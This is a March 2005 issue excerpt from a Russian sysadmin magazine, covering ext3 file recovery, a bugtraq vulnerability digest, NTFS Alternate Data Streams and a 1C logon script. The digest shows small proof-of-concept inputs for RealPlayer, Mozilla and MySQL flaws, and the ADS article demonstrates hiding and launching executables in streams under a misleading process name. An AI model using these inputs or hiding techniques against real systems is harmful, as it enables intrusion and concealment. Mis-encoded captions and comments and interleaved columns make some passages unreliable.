от ext2fs она намного бережнее относится к массиву ди-
ректорий и при удалении файла, ссылка на inode уже не
уничтожается, что упрощает автоматическое восстановле-
ние оригинальных имен. Однако поводов для радости у нас
нет никаких, поскольку в ext3fs перед удалением файла
список принадлежащих ему блоков тщательно вычищает-
ся. Как следствие – восстановление становится невозмож-
ным. Ну… практически невозможным. Нефрагментирован-
ные файлы с более или менее осмысленным содержимым
(например, исходные тексты программ) еще можно собрать
по частям, но и времени на это уйдет… К счастью, косвен-
ные блоки не очищаются, а значит, мы теряем лишь первые
12 * BLOCL_SIZE байт каждого файла. На типичном 10 Гб
разделе BLOCK_SIZE обычно равен 4 или 8 Кб, т.е. реаль-
ные потери составляют менее 100 Кб. По современным по-
нятиям – сущие пустяки! Конечно, без этих 100 Кб боль-
шинство файлов просто не запустятся, однако недостаю-
щие 12 блоков найти на диске вполне реально. Если пове-
зет, они окажутся расположенными в одном-двух непрерыв-
ных отрезках. Даже на сильно фрагментированных разде-
лах непрерывные отрезки из 6-12 блоков встречаются дос-
таточно часто.
Как мы будем действовать? Необходимо найти хотя бы
один блок, гарантированно принадлежащий файлу и при
этом расположенный за границей в 100 Кбайт от его нача-
ла. Это может быть текстовая строка, копирайт фирмы, да
все что угодно! Нам нужен номер блока. Пусть для опреде-
ленности он будет равен 0x1234. Записываем его в обрат-
ном порядке так, чтобы младший байт располагался по
меньшему адресу, и выполняем поиск 34h 12h 00h 00h –
именно это число будет присутствовать в косвенном бло-
ке. Отличить косвенный блок от всех остальных блоков (на-
пример, блоков, принадлежащих файлам данных) очень
легко – он представляет собой массив 32-битных номеров
блоков более или менее монотонно возрастающих. Дваж-
ды и трижды косвенные блоки отыскиваются по аналогич-
ной схеме.
Проблема в том, что одни и те же блоки в разное время
могли принадлежать различным файлам, а значит, и раз-
личным косвенным блокам. Как разобраться, какой из них
правильный? Да очень просто! Если хотя бы одна из ссы-
лок косвенного блока указывает на уже занятый блок, дан-
ный косвенный блок принадлежит давно удаленному фай-
лу и нам совсем не интересен.
Кстати говоря, debugfs не вполне хорошо поддержива-
ет ext3fs. В частности, команда lsdel всегда показывает ноль
удаленных файлов, даже если был стерт весь раздел. Так
что вопрос выбора файловой системы отнюдь не так прост,
каким его пытаются представить книги из серии «Linux для
42
начинающих», а преимущества ext3fs на рабочих станциях
и домашних компьютерах далеко небесспорны и неочевид-
ны. Поддержка транзакций реально требуется лишь серве-
рам (да и то не всем), а вот невозможность восстановле-
ния ошибочно удаленных файлов зачастую приносит на-
много большие убытки, чем устойчивость файловой систе-
мы к внезапным отказам питания.
Ðèñóíîê 7. Óòèëèòà R-Studio, âîññòàíàâëèâàþùàÿ óäàëåííûå
ôàéëû íà ðàçäåëå ext3fs. Åñòü èìåíà, íåò ñàìèõ ôàéëîâ
(èõ äëèíà ðàâíà íóëþ, ò.ê. ñïèñîê íåïîñðåäñòâåííûõ áëîêîâ
çàòåðò)
Заключение
Доступность исходных текстов драйвера файловой систе-
мы значительно упрощает исследование ее внутренней
структуры, которая, кстати говоря, очень проста и восста-
новление данных на ext2fs/ext3fs – обычное дело. Файло-
вые системы UFS и FFS, работающие под FreeBSD, устро-
ены намного сложнее, к тому же достаточно скудно доку-
ментированы. А ведь FreeBSD занимает далеко не после-
днее место в мире UNIX-совместимых операционных сис-
тем и разрушения данных даже в масштабах небольшого
городка происходят сплошь и рядом. К счастью, в подавля-
ющем большинстве случаев информацию можно полнос-
тью восстановить, но об этом – в следующий раз.
Литература:
1. Design and Implementation of the Second Extended File
system – подробное описание файловой системы ext2fs
от разработчиков проекта на английском языке: http://
e2fsprogs.sourceforge.net/ext2intro.html.
2. Linux Ext2fs Undeletion mini-HOWTO – краткая, но доход-
чивая инструкция по восстановлению удаленных фай-
лов на ext2fs-разделах на английском языке: http://
www.praeclarus.demon.co.uk/tech/e2-undel/howto.txt.
3. Ext2fs Undeletion of Directory Structures mini-HOWTO –
краткое руководство по восстановлению удаленных ди-
ректорий на ext2fs-разделах на английском языке: http:/
/www.faqs.org/docs/Linux-mini/Ext2fs-Undeletion-Dir-
Struct.html.
4. HOWTO-undelete – еще одно руководство по восстанов-
лению удаленных файлов на ext2fs-разделах при помо-
щи редактора lde на английском языке: http://lde.
sourceforge.net/UNERASE.txt.

Переполнение буфера в RealPlayer
Программа: RealPlayer версии до 6.0.12.1059; Linux
RealPlayer 10 and Helix Player.
Опасность: Средняя.
Описание: Уязвимость позволяет удаленному пользовате-
лю выполнить произвольный код на целевой системе.
1. Переполнение буфера существует при обработке SMIL.
Удаленный пользователь может создать специальным об-
разом SMIL-файл, вызвать переполнение буфера и выпол-
нить произвольный код на системе. Уязвимость существу-
ет в файле datatype/smil/renderer/smil1/smlparse.cpp при об-
работке атрибута размера экрана. Пример (переполнение
буфера происходит, если «LONGSTRING» более 256 байт):
<text src="1024_768.en.txt" region="size"
system-screen-size="LONGSTRINGX768">
2. Уязвимость существует при обработке WAV-файлов.
Злоумышленник может специальным образом создать WAV-
файл, вызвать переполнение буфера и выполнить произ-
вольный код на системе.
URL производителя: http://www.real.com.
Решение: Установите обновления с сайта производителя.
Подмена строки состояния
в браузере Mozilla
Программа: Mozilla 1.7.5; Mozilla Thunderbird 1.0; Mozilla
Firefox 1.0.1.
Опасность: Низкая.
Описание: Уязвимость существует при отображении пути
к сохраняемой странице при нажатии на ссылке и выборе
меню «Save Link Target As…». Удаленный пользователь
может специальным образом создать ссылку и заставить
пользователя сохранить злонамеренный файл.
Пример:
<a href="[TRUSTED_URL]">
< table><tr><td>
< a href="[MALICIOUS_URL]">download
< /a>
< /td></tr></table>
< /a>
URL производителя: http://www.mozilla.com.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
Повышение привилегий
в grsecurity в PaX
Программа: grsecurity версии до 2.1.2.
Опасность: Низкая.
Описание: Уязвимость обнаружена на системах с включен-
ным зеркалированием vma посредством опций ядра
SEGMEXEC или RANDEXEC. Локальный пользователь мо-
жет выполнить произвольный код с привилегиями целево-
го процесса с помощью любой программы, которая может
быть выполнена на системе.
URL производителя: http://pax.grsecurity.net.
Решение: Установите последнюю версию от производите-
ля.
№3, март 2005
bugtraq
Выполнение произвольного кода
в Mozilla
Программа: Mozilla 1.7.3; Mozilla Firefox 1.0 и более ранние
версии.
Опасность: Средняя.
Описание: Уязвимость позволяет удаленному пользовате-
лю вызвать повреждение куки и выполнить произвольный
код на уязвимой системе.
Уязвимость существует в функциях обработки строк в
файле mozilla/xpcom/string/src/nsTSubstring.cpp. Функция
nsTSubstring_CharT::Replace() не проверяет возвращаемое
значение, которое увеличивает строку. Для реализации
уязвимости требуется потребление всей доступной для це-
левого процесса или пользователя памяти. Удаленный
пользователь может с помощью специально сформирован-
ных заголовков, с помощью javascript сценария или каким-
либо другим способом заставить браузер потребить боль-
шое количество памяти и затем перезаписать память про-
извольными данными. Удачная эксплуатация позволит зло-
умышленнику выполнить произвольный код на системе или
вызвать отказ в обслуживании.
URL производителя: http://mozilla.org.
Решение: Установите обновления с сайта производителя.
Отказ в обслуживании при обработке
MS-DOS имен в MySQL
Программа: MySQL 4.0.x и 4.1.x for Windows.
Опасность: Низкая.
Описание: Уязвимость обнаружена при обработке зарезер-
вированных имен MS-DOS-устройств. Удаленный пользо-
ватель может создать одноименную базу данных с MS-DOS-
устройством и при переходе в нее вызвать отказ в обслу-
живании базы данных. Для успешной эксплуатации уязви-
мости злоумышленнику требуются глобальные привилегии
на REFERENCES, CREATE TEMPORARY TABLES, GRANT
OPTION, CREATE и SELECT.
Пример:
use LPT1;
URL производителя: http://www.mysql.com.
Решение: Установите последнюю версию от производите-
ля.
Выполнение произвольного кода
в libXpm
Программа: libXpm.
Опасность: Высокая.
Описание: Уязвимость существует в файле lib/scan.c из-за
некорректной обработки входных данных, содержащихся в
графических файлах. Злоумышленник может создать спе-
циальным образом графический файл, вызвать переполне-
ние буфера и выполнить произвольный код на системе.
URL производителя: http://www.x.org.
Решение: Установите обновление от производителя.
Составил Александр Антипов
43
 администрирование

ИСПОЛЬЗОВАНИЕ АЛЬТЕРНАТИВНЫХ
ПОТОКОВ ДАННЫХ
Когда армия сталкивается с оврагами и ущельями, заболоченной
местностью с тростником и высокой травой, горными лесами
или густым и спутанным кустарником, необходимо тщательно
прочесать их, ибо там могут быть спрятаны засады и шпионы…
Стратегия ведения войны такова: не полагайся на то, что враг
не придет, полагайся на средства, которыми располагаешь, чтобы
принять его. Не полагайся на то, что враг не нападет; полагайся
на то, чтобы наши позиции были неуязвимы для нападения…
Поэтому сказано, что тот, кто знает врага и знает себя, не окажется
в опасности и в ста сражениях. Тот, кто не знает врага, но знает
себя, будет то побеждать, то проигрывать. Тот, кто не знает
ни врага, ни себя, неизбежно будет разбит в каждом сражении…

«Искусство войны»
Сунь-Цзы

МАКСИМ КОСТЫШИН
Возможность использования альтернативных потоков дан- мы обнаружим в редакторе текст, который мы только что
ных (Alternate Data Streams – ADS) заложена в файловой набирали и сохранили в ADS.
системе NTFS и поддерживается операционными система- Подтвердить наличие альтернативного потока можно
ми Microsoft Windows 2000 и выше. Специфика ADS заклю- также, если в «Проводнике» попытаться скопировать файл
чается в том, что c файлами и каталогами могут ассоции- test.txt на носитель с файловой системой, отличной от NTFS
роваться дополнительные наборы данных, информация о (например, на дискету). При этом на экран будет выдано
которых и само содержимое, вообще говоря, недоступны с предупреждение о том, что копия файла на дискете не бу-
помощью стандартных утилит и встроенных команд опера- дет содержать данных ADS.
ционной системы Microsoft Windows.
Изложение основных подходов работы с альтернатив-
ными потоками построено на конкретных примерах. Также
в статье приводится сравнительный обзор специализиро-
ванных утилит, позволяющих производить поиск файлов,
содержащих ADS, а также выполнять операции с инфор-
мацией, хранимой в потоках.

Примеры работы с альтернативными

потоками данных
Создание ADS и работа с использованием
редактора NotePad
Создадим на диске C: пустой файл test.txt, после чего вы-
полним команду:
NotePad C:\test.txt:example.txt
На предложение создать новый файл, ответим положи-
тельно (в записи test.txt:example.txt подразумевается, что
example.txt – это имя потока для файла test.txt). Затем на-
берем произвольный текст и завершим работу с програм-
мой, сохранив изменения. При исследовании параметров
файла C:\test.txt можно заметить, что размер файла test.txt
по-прежнему равен нулю (из видимых обычными средства-
ми параметров были модифицированы лишь даты после-
днего доступа и изменений).
Выполнив команду:
NotePad C:\test.txt:example.txt
Использование стандартных команд
операционной системы Windows при работе
с альтернативными потоками данных
Для создания потока может быть применена стандартная
операция перенаправления потока вывода. Например, вы-
полнив команду:
type C:\boot.ini > C:\test.txt:boot.ini
мы поместим в альтернативный поток содержимое файла,
определяющего вариант загрузки операционной системы
компьютера. Просмотреть данные, сохраненные в потоке,
можно при помощи все того же редактора NotePad.
Следует обратить внимание на то, что стандартные ко-
манды copy, type, del и прочие, предназначенные для вы-
полнения операций с файлами, не позволяют использовать
в именах файлов-параметров конструкции, характерные

44

для определения имени альтернативного потока. В этой
связи выполнение файловых операций для ADS стандарт-
ными командами операционной системы затруднительно.
Вместе с тем вывод на экран содержимого test.txt:boot.ini
можно выполнить при помощи следующей команды:
администрирование
Просмотреть данные ADS в Microsoft Word нам удалось
лишь в режиме «только чтение», закрыв все приложения
указанного редактора, переименовав файл test.txt в test
(исключив из имени файла расширение), выполнив следу-
ющую команду:

type C:\boot.ini > C:\test.txt:boot.ini "C:\Program Files\Microsoft Office\Office10\WinWord.exe" ↵

C:\test:example.doc

Для удаления всех имеющихся для файла альтернатив-
ных потоков можно воспользоваться следующим набором
операций:
ren temp.txt test.txt
type temp.txt > test.txt
del temp.txt
Использование стандартной команды copy для temp.txt в
файловой системе NTFS позволяет создать точную копию
файла, которая будет содержать поток исходного файла.
Особо следует обратить внимание на то, что в файло-
вой системе NTFS возможности создания ADS применимы
как к файлам, так и к любым каталогам:
md C:\example
type C:\example.txt > c:\example:example.txt
или просто:
type C:\example.txt > c:\:example.txt
Сохранить изменения при работе WinWord с данными
потока невозможно в связи с тем, что в программе реали-
зован жесткий контроль имен файлов для сохранения ин-
формации.
Что касается возможностей других распространенных
составляющих Microsoft Office, то проверка показала пол-
нофункциональные возможности обработки базы данных,
сохраненной в потоке, для Access.
Особенности для операций открытия и сохранения из-
менений электронной таблицы, содержащейся в ADS, с
помощью Microsoft Excel аналогичны тем, что были указа-
ны выше для Microsoft Word.
Запуск программ, сохраненных
в альтернативном потоке данных
Запустить обычным способом программы, сохраненные в
ADS, не удастся. Однако как вариант можно применить ко-
манду start.
Поместим программу WordPad.exe в альтернативный
поток файла example.txt с одноименным названием:

Обработка документов Microsoft type WordPad.exe > C:\example.txt:WordPad.exe

и OfficeWordPad, размещенных
в альтернативных потоках данных
Поместим в ADS документ Microsoft Word (при подготовке
статьи автор использовал Microsoft Word 2002 SP-2 из со-
става Microsoft Office XP). Для этого создадим документ
Word, сохраним его сначала в файл C:\example.doc, а за-
тем с использованием операции перенаправления потока
вывода в поток:
type C:\example.doc > C:\test.txt:example.doc
Выполним команду:
start C:\example.txt:WordPad.exe
и убедимся в том, что программа запущена.
Обратим внимание на то, что в диспетчере задач Windows
имя образа запущенного процесса будет указано не
WordPad.exe, а example.txt.

Отметим, что в случае отсутствия файла C:\test.txt при-

менение указанной команды создаст файл test.txt нулево-
го размера.
Откроем содержимое файла в стандартном редакторе
WordPad, выполнив следующую команду:

«C:\Program Files\Windows NT\Accessories\WordPad.exe» ↵

C:\test.txt:example.doc

Редактор WordPad вполне сгодится для просмотра доку-

ментов Microsoft Word, сохраненных в ADS. Следует отме-
тить, что у пользователей могут возникнуть проблемы, свя-
занные с тем, что WordPad обеспечивает сохранение инфор-
мации только в формате Word для Windows 6.0 и файла RTF.
При этом WordPad версии 5.0 (Windows 2000 Professional) не
позволяет выполнить преобразование и сохранение докумен-
та, помещенного в альтернативный поток данных, в поддер-
живаемом формате. Для WordPad версии 5.1 (Windows XP)
такие проблемы отсутствуют.

№3, март 2005 45

 администрирование
Специальные средства для поиска Программа обладает возможностью пропускать при по-
и работы с альтернативными иске альтернативные потоки, которые имеют заданные в
потоками данных качестве параметров предопределенные имена, и предос-
Если в первой части статьи для ADS были рассмотрены тавляет информацию о размере данных, содержащихся в
варианты работы с использованием стандартных возмож- ADS.
ностей, предоставляемых пользователям операционной
системы, то ниже приведен обзор утилит, специально пред-
назначенных для поиска потоков и выполнения с ними ряда
операций, разработанных сторонними производителями.
Создадим тестовый файл C:\example\example.txt и за-
полним все значения стандартных свойств для него, кото-
рые помещаются операционной системой в альтернатив-
ные потоки.

Stream (www.sysinternals.com) – программа, автором

которой является известный среди программистов разра-
ботчик прикладных утилит Марк Русинович, доступна с ис-
ходными текстами. Параметры работы утилиты позволяют
производить поиск файлов с ADS по подкаталогам, а так-
же удалять найденные альтернативные потоки.
К недостаткам следует отнести некорректное отобра-
жение русских символов в названиях файлов и каталогов,
а также то, что программа не проверяет наличие ADS для
корневого каталога.

Используем файл для наблюдения за результатами ра-

боты специальных утилит.
LNS (http://ntsecurity.nu/toolbox/lns) – небольшая (менее
35 Кб) бесплатная консольная утилита, предназначенная
для поиска файлов с ADS и информации об имеющихся
альтернативных потоках. Программа не производит поиск
ADS для каталогов.
CrucialADS (http://crucialsecurity.com) – свободно распро-
страняемая утилита, обладающая графическим интерфей-
сом. Реализует поиск на выбранных пользователем дис-
ках файлов, содержащих ADS.
К недостаткам следует отнести отсутствие следующих
возможностей:
! сохранения информации, содержащейся в альтернатив-
ных потоках;
! определения размера данных для найденных потоков;
! поиска файлов с ADS на съемных носителях, отформа-
тированных под NTFS.

Замечание: кроме того, также как lads, программа не

LADS (http://www.heysoft.de) – свободно распространя- проверяет наличие специфических данных для корневого
емая консольная утилита поиска файлов, содержащих ADS. каталога.

46

NTFS Streams Info (http://www.isgeo.kiev.ua/shareware/
index.html) – программа, рекомендуемая автором статьи,
предусматривает всю необходимую функциональность для
поиска и исследования альтернативных потоков данных.
Лицензия программы определена как условно бесплатная и
предоставляет возможность демонстрационного использо-
вания в течение 30 дней, помещая в раздел реестра, описы-
вающего настройки программного обеспечения, параметр
со значением даты начала использования программы.
Программа позволяет искать файлы, содержащие ADS,
выполнять над альтернативными потоками различные опе-
рации (удалять и создавать новые, помещать в ADS данные
из заданного файла, извлекать данные потоков в файл).
Ниже приводится предопределенный и накапливаемый
в утилите список названий потоков.
Вместо эпилога
Подведем некоторые итоги по материалу, изложенному
выше. Альтернативные потоки данных предоставляют ши-
№3, март 2005
администрирование
рокие возможности как в плане организации секретного
хранения на жестком диске конфиденциальных данных вла-
дельца компьютера, так и сохранения информации, не сан-
кционированного хозяином.
В потоках могут содержаться текстовые документы, таб-
лицы Excel и другие типы информации, которые можно об-
рабатывать как обычные файлы, без предварительного из-
влечения.
В ADS могут храниться и запускаться на выполнение ис-
полняемые модули. При этом информация в отношении име-
ни запущенного модуля, отображаемого стандартными сред-
ствами операционной системы, может вводить в заблужде-
ние относительно выполняемой процессором программы.
При копировании файлов и каталогов, содержащих по-
токи, на стандартные съемные носители, которые обычно
имеют файловую систему, отличную от NTFS, данные по-
токов не будут продублированы.
Известны факты использования возможностей ADS как
разработчиками вирусов и троянских утилит (в качестве
примера можно указать Trojan.Comxt.B), так и авторами
известных антивирусных программ.
При использовании специальных программных средств
для организации защиты компьютеров необходимо учиты-
вать то обстоятельство, что разработчиками программ мог-
ли либо вообще не учитываться возможности поддержки ADS
в файловой системе NTFS, либо быть допущены ошибки.
Например, для ряда перечисленных выше специализи-
рованных утилит работы с альтернативными потоками дан-
ных не проверялось наличие ADS для каталогов и, в част-
ности, для корневого каталога.
Кроме того, при тестировании некоторых программ для
гарантированной очистки было обнаружено, что при выпол-
нении операции удаления файла, содержащего альтерна-
тивные потоки, не затирается информация, содержащаяся
в ADS. Вместе с тем, особых проблем в этом нет, так как
пользователи, применяющие средства гарантированного
удаления, как правило, используют возможности очистки
не занятого файлами и каталогами пространства диска,
которые уничтожают оставшиеся следы ADS не до конца
удаленных специфических файлов и каталогов.
Материалы:
1. «Альтернативные потоки данных NTFS», Дон Паркер,
перевод Владимир Куксенок, http://www.securitylab.ru/
53136.html.
2. «Прикладная информационная безопасность шаг за ша-
гом», Сергей Гринкевич, http://www.securitylab.ru/
52764.html.
3. «Подготовка и использование аварийного набора», Матт
Леско, Журнал «Windows IT Pro», #08, 2004 год // Изда-
тельство «Открытые системы», http://www.osp.ru/
win2000/2004/08/042.htm.
4. «Hidden Threat: Alternate Data Streams», Ray Zadjmool,
http://lib.training.ru/Lib/ArticleDetail.aspx?ar=5312&l=n&mi=
1326&mic=1337.
5. «FAQ: Alternate Data Streams in NTFS», http://www.hey
soft.de Frames/f_faq_ads_en.htm.
6. «How To Use NTFS Alternate Data Streams», http://support.
microsoft.com/default.aspx?scid=kb;en-us;Q105763&sd=tech.
47
 администрирование

АВТОМАТИЗАЦИЯ ПРОЦЕССА
ПОДКЛЮЧЕНИЯ БАЗ 1С
С ПОМОЩЬЮ СЦЕНАРИЯ
РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ
В СЕТИ

В крупных организациях, где штат бухгалтерии насчитыва-
ет не один десяток человек и одновременно эксплуатиру-
ется несколько баз 1С версии 7.7, актуальна проблема ав-
томатизированного управления подключением бухгалтер-
ских баз. В статье речь пойдет о том, как с помощью сцена-
рия регистрации пользователей в сети подключить бухгал-
теру только те базы, с которыми он работает.
Основная идея
Подключение баз основано на членстве учетных записей
пользователей в соответствующих группах безопасности,
находящихся в Active Directory, которые удовлетворяют не-
скольким условиям:
! Название группы состоит из 2 частей – префикса, кото-
рый у всех групп одинаковый, и собственно названия груп-
пы. Оно совпадает с названием каталога, в котором фи-
зически находится подключаемая база 1С.
! Значением поля «Description» является название базы
1С, отображаемое в меню, которое появляется после
запуска оболочки 1С (см. рис. 1).
Во время входа в сеть от имени пользователя запуска-
ется сценарий регистрации пользователей в сети, который
во время своей работы составляет два списка баз. Один из
них – список подключаемых баз. Он формируется на основе
данных из Active Directory. Второй список формируется на
ИВАН КОРОБКО
основе данных из реестра – список подключенных баз. За-
тем, изменяя ветвь реестра HKCU (HKEY_CURRENT_USER),
осуществляется сопоставление созданных списков: подклю-
чаются недостающие базы и отключаются лишние.
Сценарий регистрации
пользователей в сети
Для создания сценария рекомендуется использовать KIXTart
(http://kixtart.org), поскольку он является наиболее подходя-
щим для решения поставленной задачи.
Сценарий регистрации условно можно разделить на не-
сколько логических частей:
! подключение сетевого диска;
! формирование списка баз, которые должны быть под-
ключены;
! формирование списка баз, которые подключены в на-
стоящее время;
! сопоставление сформированных списков, запись дан-
ных в реестр рабочей станции.
Подключение сетевых дисков
Доступ к базам, расположенным на сервере, рекомендует-
ся осуществлять с помощью подключения сетевого диска.
Для этого необходимо знать два параметра: букву, к кото-
рой будет монтироваться ресурс, и UNC-путь к нему.
Все задаваемые вручную параметры принято выносить

48
 администрирование
в конфигурационный файл. KIXTart обладает встроенной где value – возвращаемое значение параметра key разде-
поддержкой INI-файлов, которые удобно использовать в ка- ла section файла file_name. Подключение сетевого диска
честве конфигурационных файлов. INI-файл представляет выглядит следующим образом:
собой текстовый файл, имеющий следующую структуру:
$FName=”config.ini”
[ðàçäåëM] $Section=”1C”
ïàðàìåòð1M=çíà÷åíèå1M $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
“1C_Letter”) ;÷òåíèå ïàðàìåòðà 1C_Letter
ïàðàìåòð2M =çíà÷åíèå2M $1C_Path_Val = ReadProfileString($FName, $Section, ↵
……………………….
ïàðàìåòðNM=çíà÷åíèåNM “1C_Path”) ; ÷òåíèå ïàðàìåòðà 1C_Path
; îòêëþ÷åíèå ñåòåâîãî äèñêà
Use $1C_Letter_Val + ":" /delete /persistent
Создадим конфигурационный файл config.ini со следу- ; ïîäêëþ÷åíèå ñåòåâîãî äèñêà
ющим содержимым: Use $1C_Letter_Val + ":" $1c_Path_Val

[1C]
1C_Letter=R
1C_Path=\\Server\1C_Bases$
Чтение конфигурационного файла осуществляется с по-
мощью функции ReadProfileString():
value=ReadProfileString ("file_name", "section", "key")
Формирование списка подключаемых баз
Список подключаемых баз формируется на основе член-
ства учетных записей пользователей в соответствующих
группах безопасности. Как отмечалось ранее, в названиях
этих групп присутствует префикс, который также необхо-
димо указать в конфигурационном файле:

Ðèñóíîê 1

№3, март 2005 49

 администрирование
[1C]
1C_Prefix=”1C$_”
В результате формируется массив. Его элементами яв-
ляются название базы и полный путь к каталогу, которые
разделены специальным символом. Его также рекоменду-
ется описать в конфигурационном файле:
[1C]
1C_Symbol=”#”
Такая структура элемента массива продиктована выпол-
нением нескольких условий:
! Управление осуществляется только сетевыми базами.
Список подключенных локальных баз не корректирует-
ся.
! Некорректные названия сетевых баз будут исправлены.
Поскольку сценарий загрузки запускается от имени поль-
зователя, который осуществляет вход в сеть, то нет необ-
ходимости осуществлять поиск необходимых групп среди
всех групп домена с помощью ADODB. Рационально вос-
пользоваться встроенной функцией в KIXTart EnumGroup(),
которая возвращает список групп, в которые входит теку-
щий пользователь, и из этого списка отобрать группы, име-
ющие оговоренный префикс:
… лядит следующим образом:
$meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$p=0
DO
$group=EnumGoup($p)
If Instr($group, $meta)<>0
? $group
End if
UNTIL Len($group)=0
Значение переменной $group строится в соответствии
со следующим шаблоном: Domain\Group_Name, поэтому для
формирования пути к каталогу необходимо вычленить со-
ставляющую Group_Name. Листинг, формирующий полный
путь к каталогу, содержащего базу 1C, следующий:
$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
“1C_Letter”)
$1C_Group=Right($group, ↵
Len(group)-InstrRev($group,”\”)-Len($meta))
; âèä ïåðåìåííîé R:\Folder_with_Base
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group
Второй частью элемента формирующегося массива яв-
ляется описание группы. Чтение этого свойства можно ре-
ализовать как с помощью провайдера WinNT, так и LDAP.
Приведем оба варианта. Для доступа к объекту AD необхо-
димо либо указать имя домена в явном виде, либо создать
сценарий для определения текущего домена. По понятным
причинам, указывать имя домена в явном виде некоррект-
но, поэтому создадим сценарий для определения длинного
(используется провайдером LDAP) и короткого (использу-
ется провайдером WinNT) имен доменов:
Set rootDSE_ = GetObject("LDAP://RootDSE")
d_def=rootDSE_.Get("defaultNamingContext")
long_Ldap_name = "LDAP://" + d_def
short_WinNT_name= mid(d_def, ↵
instr(d_def,"=")+1,instr(d_def,",")-instr(d_def,"=")-1)
Wscript.Echo long_Ldap_name ; èìååò âèä «DC=domain, DC=ru»
Wscript.Echo short_ WinNT_name ; èìååò âèä «Domain»
50
Для провайдера WinNT описание группы определяется
следующим образом:
$1C_Group_Descr=GetObject ↵
(“WinNT://”+short_WinNT_name+”/”+$1C_Group).Description
Для провайдера LDAP описание группы определяется
так:
$strADSQuery = "SELECT description FROM ↵
'LDAP://" + $long_Ldap_name + "' ↵
WHERE Name = "' + $1C_Group + "' and objectClass='group'"
$objADOConn = createObject("ADODB.Connection")
$objADOConn.Provider = "ADsDSOObject"
$objADoConn.Open ("Active Directory Provider")
$objADOCommand = CreateObject("ADODB.Command")
$objADOCommand.ActiveConnection = $objADOConn
$objADOCommand.CommandText = $strADSQuery
$objQueryResultSet = $objADOCommand.Execute
$1C_Group_Descr =$objQueryResultSet.Fields("description")
Оба варианта имеют право на жизнь, и скорость их ра-
боты примерно одинакова, однако рекомендуется исполь-
зовать второй вариант, несмотря на то что он выглядит гро-
моздким. Дело в том, что провайдер WinNT был разрабо-
тан для Windows NT, а LDAP – для Windows 2000. В бли-
жайшем будущем, компания Microsoft, наверное, откажет-
ся от поддержки провайдера WinNT.
Таким образом, сценарий, формирующий массив, эле-
менты которого включают в себя путь и название базы, выг-
$meta = ReadProfileString($FName, $Section, “1C_Symbol”)
$1C_Letter_VaL = ReadProfileString($FName, $Section, ↵
“1C_Letter”)
Set rootDSE_ = GetObject("LDAP://RootDSE")
d_def=rootDSE_.Get("defaultNamingContext")
long_Ldap_name = "LDAP://" + d_def
$p=0
$q=0
Dim $1C_Must[]
DO
$group=EnumGoup($p)
If Instr($group, $meta)<>0
$1C_Group=Right($group, ↵
Len(group)-InstrRev($group,”\”)-Len($meta))
;âèä ïåðåìåííîé R:\Folder_with_Base
$1C_Base=$1C_Letter_VaL+”:\”+$1C_Group
$strADSQuery = "SELECT description FROM ↵
'LDAP://" + $long_Ldap_name + "' ↵
WHERE Name = "' + $1C_Group + "' and objectClass='group'"
$objADOConn = createObject("ADODB.Connection")
$objADOConn.Provider = "ADsDSOObject"
$objADoConn.Open ("Active Directory Provider")
$objADOCommand = CreateObject("ADODB.Command")
$objADOCommand.ActiveConnection = $objADOConn
$objADOCommand.CommandText = $strADSQuery
$objQueryResultSet = $objADOCommand.Execute
$1C_Group_Descr =$objQueryResultSet.Fields("description")
; ïåðåîïðåäåëåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâà
Redim Preserve $1C_Must[$q]
$1C_Must[$q]= UCase($1C_Base)+$meta+$1C_Group_Descr
$q=$q+1
End if
$p=$p+1
UNTIL Len($group)=0
Формирование списка подключенных баз
Список баз определяется чтением параметров и значений
из соответствующей ветви реестра в массив, структура эле-
ментов которого аналогична элементам массива $1C_

Must[$q]. Ветвь реестра, из которой будет читаться инфор-
мация, рекомендуется описать в конфигурационном фай-
ле (см. рис. 1):
[1C]
; ïî óìîë÷àíèþ âåòâü HKCU
1C_Registry=Software\1c\1cv7\7.7\Titles
Чтение списка параметров из раздела Titles, названия
которых являются путями к каталогам, в которых находятся
базы 1С, осуществляется с помощью функции EnumValue()
(см. рис. 1), а значений параметров, являющихся названи-
ями баз, считываемые из поля Description групп безопасно-
сти, – с помощью функции ReadValue():
$1C_Registry_Val = ReadProfileString($FName, $Section,
“1C_Registry”)
dim $1c_connected[]
$m=0
$n=0
DO
$1c_Title=EnumValue($1C_Registry_Val, $m)
$1c_Name=ReadValue($1C_Registry_Val, $1c_Title)
if Lcase(Left($1c_Title,1))= ↵
Lcase($1C_Letter_VaL)
ReDim Preserve $1C_Connected[$n]
$1C_Connected[$n]= ↵
↵
Ucase($1c_Title)+↵
$meta +$1c_Name
$n=$n+1
endif
$m = $m + 1
UNTIL Len($1c_Title) =0
Таким образом, имеется два массива – уже подключен-
ных баз и баз, которые должны быть подключены. Структу-
ра элементов обоих массивов одинакова. Элемент масси-
ва включает в себя локальный путь к базе и ее название.
Эти параметры разделены уникальным символом.
Сопоставление сформированных списков баз
Сопоставление списков осуществляется в два этапа: на пер-
вом из них происходит удаление лишних баз. Напомним,
что управление реализовано только для сетевых баз. Ло-
кальные базы сценарий загрузки «не трогает». Сопостав-
ление списков осуществляется с помощью функции AScan(),
которая ищет совпадающие элементы в массивах. Удале-
ние лишних баз осуществляется стиранием лишнего пара-
метра в реестре с помощью функции DelValue(). На втором
этапе добавляются отсутствующие базы с помощью той же
самой функции AScan(). Используя её, в качестве парамет-
ров указывается и в первом и во втором случае одни и те
же массивы. Только в первом случае анализируемым мас-
сивом является $1c_Must[], а во втором – 1c_Connected[]:
; óäàëåíèå ëèøíèõ áàç
for $dfg=0 to ubound($1c_Ñonnected)
$flag_p=0
$flag_p=AScan($1c_Must, $1c_Connected[$dfg])
if $flag_p=-1
$group=$1c_Connected[$dfg]
DelValue ($1c_path, ↵
Left($Group,Instrrev($Group,$meta)-1))
endif
next
; ïîäêëþ÷åíèå íåäîñòàþùèõ áàç
for $dfg=0 to ubound($1c_must)
$flag_p=0
$flag_p=Ascan($1c_connected,$1c_must[$dfg])
if $flag_p=-1
№3, март 2005
администрирование
$group=$1c_must[$dfg]
WriteValue ($1c_Path, Left($group, ↵
Instrrev($group,$meta)-1), Right($group, ↵
Len($group)-Instrrev($group, $meta) - Len($meta)+1), ↵
"REG_SZ")
endif
next
Установка пользователя 1С по умолчанию
Осуществив вход в сеть, пользователь, запускающий 1С
